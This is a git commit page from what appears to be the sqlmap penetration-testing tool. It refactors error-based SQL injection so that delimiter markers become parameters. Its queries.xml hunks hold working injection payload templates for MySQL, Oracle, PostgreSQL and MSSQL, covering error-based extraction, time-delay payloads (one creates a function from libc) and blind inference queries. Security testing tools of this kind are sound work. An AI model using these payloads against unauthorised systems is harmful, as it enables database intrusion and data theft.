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nice refactoring

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This commit is contained in:
Miroslav Stampar 2010-10-20 09:46:57 +00:00
parent 5d3cbec457
commit e24bff0497
3 changed files with 13 additions and 9 deletions
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8
lib/core/settings.py
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@ -34,10 +34,10 @@ LOGGER.addHandler(LOGGER_HANDLER)
LOGGER.setLevel(logging.WARN)
# error based injection
ERROR_SPACE = "%c%c%c" % (58, 95, 58)
ERROR_EMPTY_CHAR = "%c%c%c" % (58, 120, 58)
ERROR_START_CHAR = "%c%c%c" % (58, 115, 58)
ERROR_END_CHAR = "%c%c%c" % (58, 101, 58)
ERROR_SPACE = ":_:"
ERROR_EMPTY_CHAR = ":x:"
ERROR_START_CHAR = ":s:"
ERROR_END_CHAR = ":e:"
# System variables
IS_WIN = subprocess.mswindows

6
lib/techniques/error/use.py
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@ -40,6 +40,8 @@ def errorUse(expression, resumeValue=True):
query = agent.prefixQuery(" %s" % queries[kb.misc.testedDbms].error)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
startLimiter = ""
endLimiter = ""
if resumeValue:
output = resume(expression, payload)
@ -56,13 +58,15 @@ def errorUse(expression, resumeValue=True):
nulledCastedField = nulledCastedField.replace("CHAR(10000)", "CHAR(255)") #fix for that 'Subquery returns more than 1 row'
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
startLimiter = unescaper.unescape("'%s'" % ERROR_START_CHAR)
endLimiter = unescaper.unescape("'%s'" % ERROR_END_CHAR)
else:
expressionUnescaped = unescaper.unescape(expression)
debugMsg = "query: %s" % expressionUnescaped
logger.debug(debugMsg)
forgedPayload = safeStringFormat(payload, (logic, randInt, expressionUnescaped))
forgedPayload = safeStringFormat(payload, (logic, randInt, startLimiter, expressionUnescaped, endLimiter))
result = Request.queryPage(urlencode(forgedPayload), content=True)
match = re.search('%s(?P<result>.+?)%s' % (ERROR_START_CHAR, ERROR_END_CHAR), result[0], re.DOTALL | re.IGNORECASE)

8
xml/queries.xml
View File

@ -24,7 +24,7 @@
<timedelay query="SELECT SLEEP(%d)" query2="SELECT BENCHMARK(5000000, MD5('%d'))"/>
<substring query="MID((%s), %d, %d)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<error query="%s (SELECT %s FROM(SELECT COUNT(*),CONCAT(CHAR(58),CHAR(115),CHAR(58),(%s),CHAR(58),CHAR(101),CHAR(58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)"/>
<error query="%s (SELECT %s FROM(SELECT COUNT(*),CONCAT(%s,(%s),%s,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)"/>
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
<banner query="SELECT VERSION()"/>
<current_user query="SELECT CURRENT_USER()"/>
@ -91,7 +91,7 @@
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
<substring query="SUBSTR((%s), %d, %d)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) FROM DUAL"/>
<error query="%s %s=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(115)||CHR(58)||(REPLACE((%s),CHR(32),CHR(58)||CHR(95)||CHR(58)))||CHR(58)||CHR(101)||CHR(58)||CHR(62))) FROM DUAL)"/>
<error query="%s %s=(SELECT UPPER(XMLType(CHR(60)||%s||(REPLACE((%s),CHR(32),CHR(58)||CHR(95)||CHR(58)))||%s||CHR(62))) FROM DUAL)"/>
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
<current_user query="SELECT USER FROM DUAL"/>
@ -175,7 +175,7 @@
<timedelay query="SELECT PG_SLEEP(%d)" query2="SELECT 'sqlmap' WHERE exists(SELECT * FROM generate_series(1, 300000%d))" query3="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
<substring query="SUBSTR((%s)::text, %d, %d)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<error query="%s %s=CAST(CHR(58)||CHR(115)||CHR(58)||(%s)::text||CHR(58)||CHR(101)||CHR(58) AS NUMERIC)"/>
<error query="%s %s=CAST(%s||(%s)::text||%s AS NUMERIC)"/>
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
<banner query="SELECT VERSION()"/>
<current_user query="SELECT CURRENT_USER"/>
@ -242,7 +242,7 @@
<timedelay query="WAITFOR DELAY '0:0:%d'"/>
<substring query="SUBSTRING((%s), %d, %d)"/>
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
<error query="%s %s=CONVERT(INT,(CHAR(58)+CHAR(115)+CHAR(58)+(%s)+CHAR(58)+CHAR(101)+CHAR(58)))"/>
<error query="%s %s=CONVERT(INT,(%s+(%s)+%s))"/>
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
<banner query="SELECT @@VERSION"/>
<current_user query="SELECT SYSTEM_USER"/>